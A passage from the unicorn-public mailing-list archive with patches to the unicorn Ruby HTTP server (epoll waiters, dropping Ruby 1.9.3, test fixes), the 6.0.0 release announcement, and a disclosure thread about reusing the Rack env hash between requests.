if client = sock.kgio_tryaccept
@@ -735,7 +744,7 @@ def worker_loop(worker)
# timeout so we can .tick and keep parent from SIGKILL-ing us
worker.tick = time_now.to_i
- ret = IO.select(readers, nil, nil, @timeout) and ready = ret[0]
+ waiter.get_readers(ready, readers, @timeout)
rescue => e
redo if reopen && readers[0]
Unicorn.log_error(@logger, "listen loop error", e) if readers[0]
diff --git a/lib/unicorn/select_waiter.rb b/lib/unicorn/select_waiter.rb
new file mode 100644
index 0000000..cb84aab
--- /dev/null
+++ b/lib/unicorn/select_waiter.rb
@@ -0,0 +1,6 @@
+# fallback for non-Linux and Linux <4.5 systems w/o EPOLLEXCLUSIVE
+class Unicorn::SelectWaiter # :nodoc:
+ def get_readers(ready, readers, timeout) # :nodoc:
+ ret = IO.select(readers, nil, nil, timeout) and ready.replace(ret[0])
+ end
+end
diff --git a/t/test-lib.sh b/t/test-lib.sh
index 7f97958..e70d0c6 100644
--- a/t/test-lib.sh
+++ b/t/test-lib.sh
@@ -94,7 +94,8 @@ check_stderr () {
set +u
_r_err=${1-${r_err}}
set -u
- if grep -v $T $_r_err | grep -i Error
+ if grep -v $T $_r_err | grep -i Error | \
+ grep -v NameError.*Unicorn::Waiter
then
die "Errors found in $_r_err"
elif grep SIGKILL $_r_err
diff --git a/test/unit/test_waiter.rb b/test/unit/test_waiter.rb
new file mode 100644
index 0000000..0995de2
--- /dev/null
+++ b/test/unit/test_waiter.rb
@@ -0,0 +1,34 @@
+require 'test/unit'
+require 'unicorn'
+require 'unicorn/select_waiter'
+class TestSelectWaiter < Test::Unit::TestCase
+
+ def test_select_timeout # n.b. this is level-triggered
+ sw = Unicorn::SelectWaiter.new
+ IO.pipe do |r,w|
+ sw.get_readers(ready = [], [r], 0)
+ assert_equal [], ready
+ w.syswrite '.'
+ sw.get_readers(ready, [r], 1000)
+ assert_equal [r], ready
+ sw.get_readers(ready, [r], 0)
+ assert_equal [r], ready
+ end
+ end
+
+ def test_linux # ugh, also level-triggered, unlikely to change
+ IO.pipe do |r,w|
+ wtr = Unicorn::Waiter.prep_readers([r])
+ wtr.get_readers(ready = [], [r], 0)
+ assert_equal [], ready
+ w.syswrite '.'
+ wtr.get_readers(ready = [], [r], 1000)
+ assert_equal [r], ready
+ wtr.get_readers(ready = [], [r], 1000)
+ assert_equal [r], ready, 'still ready (level-triggered :<)'
+ assert_nil wtr.close
+ end
+ rescue SystemCallError => e
+ warn "#{e.message} (#{e.class})"
+ end if Unicorn.const_defined?(:Waiter)
+end
^ permalink raw reply related [relevance 10%]
* [PATCH 0/6] reduce thundering herds on Linux 4.5+
@ 2021-10-01 3:09 3% Eric Wong
2021-10-01 3:09 10% ` [PATCH 6/6] use EPOLLEXCLUSIVE " Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2021-10-01 3:09 UTC (permalink / raw)
To: unicorn-public
1-5 are straightforward changes, with 4+5 are probably
being long overdue.
PATCH 6/6 is fairly significant (more detail in that message),
but doesn't benefit completely saturated instances, either.
I don't know if completely saturated instances are that common,
actually...
Yup, unicorn using epoll: WTF :P
Eric Wong (6):
extconf.rb: get rid of unnecessary checks
makefile: reduce unnecessary rebuilds
HACKING: drop outdated information about pandoc
http_server: get rid of Process.ppid check
worker_loop: get rid of select() avoidance hack
use EPOLLEXCLUSIVE on Linux 4.5+
GNUmakefile | 4 +-
HACKING | 7 --
ext/unicorn_http/c_util.h | 18 ++---
ext/unicorn_http/epollexclusive.h | 125 ++++++++++++++++++++++++++++++
ext/unicorn_http/ext_help.h | 24 ------
ext/unicorn_http/extconf.rb | 6 +-
ext/unicorn_http/httpdate.c | 1 +
ext/unicorn_http/unicorn_http.rl | 3 +
lib/unicorn/http_server.rb | 45 +++++------
lib/unicorn/select_waiter.rb | 6 ++
t/test-lib.sh | 3 +-
test/unit/test_waiter.rb | 34 ++++++++
12 files changed, 199 insertions(+), 77 deletions(-)
create mode 100644 ext/unicorn_http/epollexclusive.h
create mode 100644 lib/unicorn/select_waiter.rb
create mode 100644 test/unit/test_waiter.rb
^ permalink raw reply [relevance 3%]
* [PATCH 1/2] drop Ruby 1.9.3 support, require 2.0+ for now
@ 2021-09-14 23:39 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-09-14 23:39 UTC (permalink / raw)
To: unicorn-public
Ruby 1.9.3 was released nearly a decade ago, so there's probably
few (if any) legacy users left, and they can continue using old
versions of unicorn. We'll be able to take advantage of some
Ruby 2.0+-only features down the road (and hopefully 2.3+).
Also, I no longer have a installation of Ruby 1.8 and getting it
working probably isn't worth the effort, so 4.x support is gone.
---
HACKING | 2 +-
README | 3 +--
Sandbox | 2 +-
ext/unicorn_http/extconf.rb | 4 ++--
ext/unicorn_http/unicorn_http.rl | 14 +-------------
lib/unicorn/http_server.rb | 2 +-
t/README | 2 +-
unicorn.gemspec | 4 ++--
8 files changed, 10 insertions(+), 23 deletions(-)
diff --git a/HACKING b/HACKING
index 976bf92..7c41eba 100644
--- a/HACKING
+++ b/HACKING
@@ -63,7 +63,7 @@ becomes unavailable.
=== Ruby/C Compatibility
-We target mainline Ruby 1.9.3 and later. We need the Ruby
+We target C Ruby 2.0 and later. We need the Ruby
implementation to support fork, exec, pipe, UNIX signals, access to
integer file descriptors and ability to use unlinked files.
diff --git a/README b/README
index 35a7388..5fdd1e8 100644
--- a/README
+++ b/README
@@ -12,8 +12,7 @@ both the the request and response in between unicorn and slow clients.
cut out everything that is better supported by the operating system,
{nginx}[https://nginx.org/] or {Rack}[https://rack.github.io/].
-* Compatible with Ruby 1.9.3 and later.
- unicorn 4.x remains supported for Ruby 1.8 users.
+* Compatible with Ruby 2.0.0 and later.
* Process management: unicorn will reap and restart workers that
die from broken apps. There is no need to manage multiple processes
diff --git a/Sandbox b/Sandbox
index 651e5cd..d770586 100644
--- a/Sandbox
+++ b/Sandbox
@@ -87,7 +87,7 @@ For now workarounds include doing one of the following:
3. Explicitly setting RUBYLIB or $LOAD_PATH to include any gem path
where the unicorn gem is installed
- (e.g. /usr/lib/ruby/gems/1.9.3/gems/unicorn-VERSION/lib)
+ (e.g. /usr/lib/ruby/gems/3.0.0/gems/unicorn-VERSION/lib)
=== RUBYOPT pollution from SIGUSR2 upgrades
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index 95514bc..8bdc1c9 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -9,8 +9,8 @@
have_macro("SIZEOF_OFF_T", "ruby.h") or check_sizeof("off_t", "sys/types.h")
have_macro("SIZEOF_SIZE_T", "ruby.h") or check_sizeof("size_t", "sys/types.h")
have_macro("SIZEOF_LONG", "ruby.h") or check_sizeof("long", "sys/types.h")
-have_func("rb_str_set_len", "ruby.h") or abort 'Ruby 1.9.3+ required'
-have_func("rb_hash_clear", "ruby.h") # Ruby 2.0+
+have_func("rb_str_set_len", "ruby.h") or abort 'Ruby 2.0+ required'
+have_func("rb_hash_clear", "ruby.h") or abort 'Ruby 2.0+ required'
have_func("gmtime_r", "time.h")
message('checking if String#-@ (str_uminus) dedupes... ')
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index 21e09d6..e934a32 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -65,18 +65,6 @@ struct http_parser {
static ID id_set_backtrace, id_is_chunked_p;
static VALUE cHttpParser;
-#ifdef HAVE_RB_HASH_CLEAR /* Ruby >= 2.0 */
-# define my_hash_clear(h) (void)rb_hash_clear(h)
-#else /* !HAVE_RB_HASH_CLEAR - Ruby <= 1.9.3 */
-
-static ID id_clear;
-
-static void my_hash_clear(VALUE h)
-{
- rb_funcall(h, id_clear, 0);
-}
-#endif /* HAVE_RB_HASH_CLEAR */
-
static void finalize_header(struct http_parser *hp);
static void parser_raise(VALUE klass, const char *msg)
@@ -650,7 +638,7 @@ static VALUE HttpParser_clear(VALUE self)
return HttpParser_init(self);
http_parser_init(hp);
- my_hash_clear(hp->env);
+ rb_hash_clear(hp->env);
return self;
}
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 22f067f..cd6e63b 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -609,7 +609,7 @@ def e103_response_write(client, headers)
def e100_response_write(client, env)
# We use String#freeze to avoid allocations under Ruby 2.1+
# Not many users hit this code path, so it's better to reduce the
- # constant table sizes even for 1.9.3-2.0 users who'll hit extra
+ # constant table sizes even for Ruby 2.0 users who'll hit extra
# allocations here.
client.write(@request.response_start_sent ?
"100 Continue\r\n\r\nHTTP/1.1 ".freeze :
diff --git a/t/README b/t/README
index 0d9b697..14de559 100644
--- a/t/README
+++ b/t/README
@@ -10,7 +10,7 @@ comfortable writing integration tests with.
== Requirements
-* {Ruby 1.9.3+}[https://www.ruby-lang.org/en/] (duh!)
+* {Ruby 2.0.0+}[https://www.ruby-lang.org/en/] (duh!)
* {GNU make}[https://www.gnu.org/software/make/]
* {socat}[http://www.dest-unreach.org/socat/]
* {curl}[https://curl.haxx.se/]
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 90e64d4..9230199 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,11 +25,11 @@
s.homepage = 'https://yhbt.net/unicorn/'
s.test_files = test_files
- # 1.9.3 is the minumum supported version. We don't specify
+ # 2.0.0 is the minumum supported version. We don't specify
# a maximum version to make it easier to test pre-releases,
# but we do warn users if they install unicorn on an untested
# version in extconf.rb
- s.required_ruby_version = ">= 1.9.3"
+ s.required_ruby_version = ">= 2.0.0"
# We do not have a hard dependency on rack, it's possible to load
# things which respond to #call. HTTP status lines in responses
^ permalink raw reply related [relevance 3%]
* [PATCH] test_util: less excessive encoding tests
@ 2021-04-30 18:17 8% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-04-30 18:17 UTC (permalink / raw)
To: unicorn-public; +Cc: Eric Wong
From: Eric Wong <e@80x24.org>
Ruby's handling of encodings hasn't changed much in over
a decade and these tests haven't failed for me since August 2013:
https://yhbt.net/unicorn-public/9af083d7f6b97c0f5ebbdd9a42b58478a6f874b7/s/
So lets take a small step in reducing energy consumption
and save potential developers over 10s of CPU time.
---
test/unit/test_util.rb | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/test/unit/test_util.rb b/test/unit/test_util.rb
index 4a820ea..bc7b233 100644
--- a/test/unit/test_util.rb
+++ b/test/unit/test_util.rb
@@ -51,7 +51,7 @@ def test_reopen_logs_renamed
def test_reopen_logs_renamed_with_encoding
tmp = Tempfile.new('')
tmp_path = tmp.path.dup.freeze
- Encoding.list.each { |encoding|
+ Encoding.list.sample(5).each { |encoding|
File.open(tmp_path, "a:#{encoding.to_s}") { |fp|
fp.sync = true
assert_equal encoding, fp.external_encoding
@@ -74,8 +74,9 @@ def test_reopen_logs_renamed_with_encoding
def test_reopen_logs_renamed_with_internal_encoding
tmp = Tempfile.new('')
tmp_path = tmp.path.dup.freeze
- Encoding.list.each { |ext|
- Encoding.list.each { |int|
+ full = Encoding.list
+ full.sample(2).each { |ext|
+ full.sample(2).each { |int|
next if ext == int
File.open(tmp_path, "a:#{ext.to_s}:#{int.to_s}") { |fp|
fp.sync = true
^ permalink raw reply related [relevance 8%]
* [ANN] unicorn 6.0.0 - Rack HTTP server for fast clients and *nix
@ 2021-03-17 6:43 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-03-17 6:43 UTC (permalink / raw)
To: ruby-talk, unicorn-public; +Cc: Dirkjan Bussink, John Crepezzi, Kevin Sawicki
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
.onion URLs below are available for Tor users and can reduce
our operating costs:
* https://yhbt.net/unicorn/
http://unicorn.ou63pmih66umazou.onion/
* public list: unicorn-public@yhbt.net
* mail archives: https://yhbt.net/unicorn-public/
http://ou63pmih66umazou.onion/unicorn-public/
* git clone https://yhbt.net/unicorn.git
torsocks git clone http://ou63pmih66umazou.onion/unicorn.git
* https://yhbt.net/unicorn/NEWS.atom.xml
http://unicorn.ou63pmih66umazou.onion/NEWS.atom.xml
* nntps://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn
imaps://news.public-inbox.org/inbox.comp.lang.ruby.unicorn.0
imap://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn.0
Changes:
unicorn 6.0.0 - no more recycling Rack env
This release allocates a new Rack `env' hash for every request.
This is done for safety with internally-(thread|event)-using Rack
apps which expect to use `env' after the normal Rack response is
complete, but without relying on rack.hijack[1]. Thanks to
Dirkjan Bussink <d.bussink@gmail.com> for the patch:
https://yhbt.net/unicorn-public/66A68DD8-83EF-4C7A-80E8-3F1F7AB31670@github.com/
The major version is bumped since:
1) there are performance regressions for some simple Rack apps
2) unsupported 3rd-party monkey patches which previously
relied on this behavior may be broken (our version of
OobGC was).
The test suite is also more reliable on multi-core systems
and Ruby 3.x.
^ permalink raw reply [relevance 2%]
* Re: Potential Unicorn vulnerability
2021-03-13 2:26 3% ` Eric Wong
@ 2021-03-16 10:15 0% ` Dirkjan Bussink
0 siblings, 0 replies; 200+ results
From: Dirkjan Bussink @ 2021-03-16 10:15 UTC (permalink / raw)
To: Eric Wong; +Cc: John Crepezzi, Kevin Sawicki, unicorn-public
Hello Eric,
> On 13 Mar 2021, at 03:26, Eric Wong <normalperson@yhbt.net> wrote:
>
> Anyways, I've squashed the test removal, OobGC adjustment, and
> your 2nd patch together as commit c917ac526df214611ec33c21de2b070452ec8434
> and pushed it out as the "v6-wip" branch.
We’ve updated to the v6-wip branch on our side and everything looks good with
that branch as well in production. Performance etc. also all looks healthy
as well.
Cheers,
Dirkjan
^ permalink raw reply [relevance 0%]
* [PATCH] tests: force blocking I/O for Ruby 3.x
@ 2021-03-14 23:17 16% EW
0 siblings, 0 replies; 200+ results
From: EW @ 2021-03-14 23:17 UTC (permalink / raw)
To: unicorn-public
Otherwise we get test failures since we use sysread
and syswrite in many places
---
test/exec/test_exec.rb | 10 +++++-----
test/test_helper.rb | 13 +++++++++++++
test/unit/test_ccc.rb | 7 ++++---
test/unit/test_server.rb | 20 ++++++++++----------
test/unit/test_signals.rb | 12 ++++++------
test/unit/test_socket_helper.rb | 2 +-
test/unit/test_upload.rb | 10 +++++-----
7 files changed, 44 insertions(+), 30 deletions(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 32734c1..aacd917 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -574,7 +574,7 @@ def test_unicorn_config_per_worker_listen
assert_equal String, results[0].class
worker_pid = results[0].to_i
assert_not_equal pid, worker_pid
- s = UNIXSocket.new(tmp.path)
+ s = unix_socket(tmp.path)
s.syswrite("GET / HTTP/1.0\r\n\r\n")
results = ''
loop { results << s.sysread(4096) } rescue nil
@@ -732,7 +732,7 @@ def test_socket_unlinked_restore
wait_for_file(sock_path)
assert File.socket?(sock_path)
- sock = UNIXSocket.new(sock_path)
+ sock = unix_socket(sock_path)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
results = sock.sysread(4096)
@@ -742,7 +742,7 @@ def test_socket_unlinked_restore
wait_for_file(sock_path)
assert File.socket?(sock_path)
- sock = UNIXSocket.new(sock_path)
+ sock = unix_socket(sock_path)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
results = sock.sysread(4096)
@@ -777,7 +777,7 @@ def test_unicorn_config_file
assert_equal pid, File.read(pid_file).to_i
assert File.socket?(sock_path), "socket created"
- sock = UNIXSocket.new(sock_path)
+ sock = unix_socket(sock_path)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
results = sock.sysread(4096)
@@ -803,7 +803,7 @@ def test_unicorn_config_file
wait_for_file(new_sock_path)
assert File.socket?(new_sock_path), "socket exists"
@sockets.each do |path|
- sock = UNIXSocket.new(path)
+ sock = unix_socket(path)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
results = sock.sysread(4096)
assert_equal String, results.class
diff --git a/test/test_helper.rb b/test/test_helper.rb
index ba5ef16..d86f83b 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -28,6 +28,7 @@
require 'fileutils'
require 'logger'
require 'unicorn'
+require 'io/nonblock'
if ENV['DEBUG']
require 'ruby-debug'
@@ -291,3 +292,15 @@ def reset_sig_handlers
trap(sig, "DEFAULT")
end
end
+
+def tcp_socket(*args)
+ sock = TCPSocket.new(*args)
+ sock.nonblock = false
+ sock
+end
+
+def unix_socket(*args)
+ sock = UNIXSocket.new(*args)
+ sock.nonblock = false
+ sock
+end
diff --git a/test/unit/test_ccc.rb b/test/unit/test_ccc.rb
index 3be1439..0dc72e8 100644
--- a/test/unit/test_ccc.rb
+++ b/test/unit/test_ccc.rb
@@ -3,6 +3,7 @@
require 'io/wait'
require 'tempfile'
require 'test/unit'
+require './test/test_helper'
class TestCccTCPI < Test::Unit::TestCase
def test_ccc_tcpi
@@ -42,7 +43,7 @@ def test_ccc_tcpi
wr.close
# make sure the server is running, at least
- client = TCPSocket.new(host, port)
+ client = tcp_socket(host, port)
client.write("GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
assert client.wait(10), 'never got response from server'
res = client.read
@@ -51,13 +52,13 @@ def test_ccc_tcpi
client.close
# start a slow request...
- sleeper = TCPSocket.new(host, port)
+ sleeper = tcp_socket(host, port)
sleeper.write("GET /sleep HTTP/1.1\r\nHost: example.com\r\n\r\n")
# and a bunch of aborted ones
nr = 100
nr.times do |i|
- client = TCPSocket.new(host, port)
+ client = tcp_socket(host, port)
client.write("GET /collections/#{rand(10000)} HTTP/1.1\r\n" \
"Host: example.com\r\n\r\n")
client.close
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 781750d..bc9a222 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -121,7 +121,7 @@ def test_early_hints
@server.start
end
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
responses = sock.read(4096)
@@ -141,14 +141,14 @@ def test_after_reply
@server.start
end
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
responses = sock.read(4096)
assert_match %r{\AHTTP/1.[01] 200\b}, responses
assert_match %r{^after_reply_called: false}, responses
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
responses = sock.read(4096)
@@ -166,7 +166,7 @@ def test_broken_app
@server = HttpServer.new(app, :listeners => [ "127.0.0.1:#@port"] )
@server.start
end
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
assert_match %r{\AHTTP/1.[01] 500\b}, sock.sysread(4096)
assert_nil sock.close
@@ -179,7 +179,7 @@ def test_simple_server
def test_client_shutdown_writes
bs = 15609315 * rand
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("PUT /hello HTTP/1.1\r\n")
sock.syswrite("Host: example.com\r\n")
sock.syswrite("Transfer-Encoding: chunked\r\n")
@@ -206,7 +206,7 @@ def test_client_shutdown_writes
def test_client_shutdown_write_truncates
bs = 15609315 * rand
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("PUT /hello HTTP/1.1\r\n")
sock.syswrite("Host: example.com\r\n")
sock.syswrite("Transfer-Encoding: chunked\r\n")
@@ -232,7 +232,7 @@ def test_client_shutdown_write_truncates
def test_client_malformed_body
bs = 15653984
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("PUT /hello HTTP/1.1\r\n")
sock.syswrite("Host: example.com\r\n")
sock.syswrite("Transfer-Encoding: chunked\r\n")
@@ -254,7 +254,7 @@ def test_client_malformed_body
def do_test(string, chunk, close_after=nil, shutdown_delay=0)
# Do not use instance variables here, because it needs to be thread safe
- socket = TCPSocket.new("127.0.0.1", @port);
+ socket = tcp_socket("127.0.0.1", @port);
request = StringIO.new(string)
chunks_out = 0
@@ -299,14 +299,14 @@ def test_logger_changed
end
def test_bad_client_400
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\nHost: foo\rbar\r\n\r\n")
assert_match %r{\AHTTP/1.[01] 400\b}, sock.sysread(4096)
assert_nil sock.close
end
def test_http_0_9
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET /hello\r\n")
assert_match 'hello!\n', sock.sysread(4096)
assert_nil sock.close
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index 4d9fdc5..56a7dfc 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -52,7 +52,7 @@ def test_worker_dies_on_dead_master
redirect_test_io { HttpServer.new(app, opts).start.join }
}
wait_workers_ready("test_stderr.#{pid}.log", 1)
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
buf = sock.readpartial(4096)
assert_nil sock.close
@@ -79,7 +79,7 @@ def test_sleepy_kill
}
wr.close
wait_workers_ready("test_stderr.#{pid}.log", 1)
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
buf = rd.readpartial(1)
wait_master_ready("test_stderr.#{pid}.log")
@@ -102,7 +102,7 @@ def test_timeout_slow_response
}
t0 = Time.now
wait_workers_ready("test_stderr.#{pid}.log", 1)
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
buf = nil
@@ -125,7 +125,7 @@ def test_response_write
}
redirect_test_io { @server = HttpServer.new(app, @server_opts).start }
wait_workers_ready("test_stderr.#{$$}.log", 1)
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
buf = ''
header_len = pid = nil
@@ -163,13 +163,13 @@ def test_request_read
redirect_test_io { @server = HttpServer.new(app, @server_opts).start }
wait_workers_ready("test_stderr.#{$$}.log", 1)
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("GET / HTTP/1.0\r\n\r\n")
pid = sock.sysread(4096)[/\r\nX-Pid: (\d+)\r\n/, 1].to_i
assert_nil sock.close
assert pid > 0, "pid not positive: #{pid.inspect}"
- sock = TCPSocket.new('127.0.0.1', @port)
+ sock = tcp_socket('127.0.0.1', @port)
sock.syswrite("PUT / HTTP/1.0\r\n")
sock.syswrite("Content-Length: #{@bs * @count}\r\n\r\n")
1000.times { Process.kill(:HUP, pid) }
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index fbc7bb9..62d5a3a 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -116,7 +116,7 @@ def test_bind_listen_unix_rebind
client.syswrite('abcde')
exit 0
end
- s = UNIXSocket.new(@unix_listener_path)
+ s = unix_socket(@unix_listener_path)
IO.select([s])
assert_equal 'abcde', s.sysread(5)
pid, status = Process.waitpid2(pid)
diff --git a/test/unit/test_upload.rb b/test/unit/test_upload.rb
index 8d90e50..76e6c1c 100644
--- a/test/unit/test_upload.rb
+++ b/test/unit/test_upload.rb
@@ -60,7 +60,7 @@ def teardown
def test_put
start_server(@sha1_app)
- sock = TCPSocket.new(@addr, @port)
+ sock = tcp_socket(@addr, @port)
sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n")
@count.times do |i|
buf = @random.sysread(@bs)
@@ -77,7 +77,7 @@ def test_put
def test_put_content_md5
md5 = Digest::MD5.new
start_server(@sha1_app)
- sock = TCPSocket.new(@addr, @port)
+ sock = tcp_socket(@addr, @port)
sock.syswrite("PUT / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n" \
"Trailer: Content-MD5\r\n\r\n")
@count.times do |i|
@@ -103,7 +103,7 @@ def test_put_trickle_small
@count, @bs = 2, 128
start_server(@sha1_app)
assert_equal 256, length
- sock = TCPSocket.new(@addr, @port)
+ sock = tcp_socket(@addr, @port)
hdr = "PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n"
@count.times do
buf = @random.sysread(@bs)
@@ -122,7 +122,7 @@ def test_put_trickle_small
def test_put_keepalive_truncates_small_overwrite
start_server(@sha1_app)
- sock = TCPSocket.new(@addr, @port)
+ sock = tcp_socket(@addr, @port)
to_upload = length + 1
sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{to_upload}\r\n\r\n")
@count.times do
@@ -155,7 +155,7 @@ def test_put_excessive_overwrite_closed
tmp.write(nr.to_s)
[ 200, @hdr, [] ]
})
- sock = TCPSocket.new(@addr, @port)
+ sock = tcp_socket(@addr, @port)
buf = ' ' * @bs
sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n")
^ permalink raw reply related [relevance 16%]
* Re: Potential Unicorn vulnerability
@ 2021-03-13 2:26 3% ` Eric Wong
2021-03-16 10:15 0% ` Dirkjan Bussink
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2021-03-13 2:26 UTC (permalink / raw)
To: Dirkjan Bussink; +Cc: John Crepezzi, Kevin Sawicki, unicorn-public
Dirkjan Bussink <dbussink@github.com> wrote:
> Ah yeah. So do you think that on top of the current patch we’d need
> something like the attached patch (which moves the @request allocation),
> or would only the latter patch be needed then?
Not really, aside from the OobGC change and hijack test removal.
Anyways, I've squashed the test removal, OobGC adjustment, and
your 2nd patch together as commit c917ac526df214611ec33c21de2b070452ec8434
and pushed it out as the "v6-wip" branch.
> In the latter case there’s still a bunch of logic for Rack hijack around
> then which might not be needed at that point, but I’m not entirely sure
> how that would look like.
Yes, though there are also some other HTTP servers that use the
parser. I prefer to minimize changes to the ext code at this
point given the relative lack of C/Ragel-knowledgeable users
compared to Ruby-knowledgeable
^ permalink raw reply [relevance 3%]
* [PATCH] test/test_helper: only unlink redirected logs from parent
@ 2021-03-13 2:08 14% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-03-13 2:08 UTC (permalink / raw)
To: unicorn-public
We don't want at_exit firing in child processes and never wanted
it. This is apparently a long standing bug in the tests that
only started causing test_worker_dies_on_dead_master failures
for me. I assume it's only showing up now for me due to kernel
scheduler changes, since I've been using the same 4-core CPU for
~11 years, now.
---
test/test_helper.rb | 7 +++++--
1 file changed, 5 insertions(+), 2 deletions(-)
diff --git a/test/test_helper.rb b/test/test_helper.rb
index 974d2f2..ba5ef16 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -42,6 +42,7 @@
def redirect_test_io
orig_err = STDERR.dup
orig_out = STDOUT.dup
+ rdr_pid = $$
new_out = File.open("test_stdout.#$$.log", "a")
new_err = File.open("test_stderr.#$$.log", "a")
new_out.sync = new_err.sync = true
@@ -59,8 +60,10 @@ def redirect_test_io
STDERR.sync = STDOUT.sync = true
at_exit do
- File.unlink(new_out.path) rescue nil
- File.unlink(new_err.path) rescue nil
+ if rdr_pid == $$
+ File.unlink(new_out.path) rescue nil
+ File.unlink(new_err.path) rescue nil
+ end
end
begin
^ permalink raw reply related [relevance 14%]
* Re: Potential Unicorn vulnerability
[not found] ` <7F6FD017-7802-4871-88A3-1E03D26D967C@github.com>
@ 2021-03-12 9:41 4% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2021-03-12 9:41 UTC (permalink / raw)
To: Dirkjan Bussink; +Cc: John Crepezzi, Kevin Sawicki, unicorn-public
[-- Attachment #1: Type: text/plain, Size: 6397 bytes --]
Dirkjan Bussink <dbussink@github.com> wrote:
> Hello Eric,
>
> > On 11 Mar 2021, at 04:02, Eric Wong <normalperson@yhbt.net> wrote:
> >
> > Thanks for reaching out. Fwiw, I prefer if everything were made
> > public right away, but I'll leave it up to you if you're not
> > comfortable with it.
> >
> > I don't know much about security, anwyays; and don't like
> > classifying bugs (or classifying anything)...
>
> We reached out privately first out of care and to follow best practices
> around coordinated disclosure, in case you considered this a security
> vulnerability. We have no objections to moving this to the public mailing
> list. We are viewing this patch as a proactive hardening against race
> conditions more so than a vulnerability.
OK, I'm adding unicorn-public@yhbt.net to the Cc: of this mail.
Personally, I prefer everything be reported publicly ASAP.
There's a constant threat of power/network failures from
disasters and such that could cause messages to be delayed
too long or indefinitely.
> We are also reaching out to a private Rails Security coordination channel
> that we’re a part of to raise awareness of this behavior so other Unicorn
> users in this group can look for similar issues in their code.
OK.
> To move this discussion to the public list, would you prefer that you move
> this thread publicly, or that we resend the message or forward it to the
> public mailing list?
Attached are the initial two (previously private) emails in this
thread, so no need to resend. They have the correct
message/rfc822 MIME type set so they should be readable from
most MUAs and mail archives.
> > Ouch, so the hijack check we had in HttpParser_clear didn't fire...
>
> Yes, to our understanding it only would fire if explicitly set and that
> doesn’t happen here.
>
